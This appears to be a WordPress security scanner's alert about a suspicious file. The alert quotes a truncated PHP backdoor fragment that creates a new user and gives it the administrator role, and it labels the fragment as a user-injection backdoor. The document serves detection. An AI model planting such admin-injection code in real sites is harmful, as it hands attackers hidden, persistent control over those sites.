This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style="color: #F00;" class="wf-split-word">!username_exists( $user ) &amp;&amp; !email_exists( $email ) ) {<span class="wf-hex-sequence">\x0a</span>$user_id = wp_create_user( $user, $pass, $email );<span class="wf-hex-sequence">\x0a</span>$user = new WP_User( $user_id );<span class="wf-hex-sequence">\x0a</span>//Set the new user as a Admin<span class="wf-hex-sequence">\x0a</span>$user-&gt;set_role( &#039;administrat...</strong><br><br>The issue type is: <strong>Backdoor:PHP/user_injection.wp.7049</strong><br>Description: <strong>Script that injects a Wordpress administrator into a site</strong>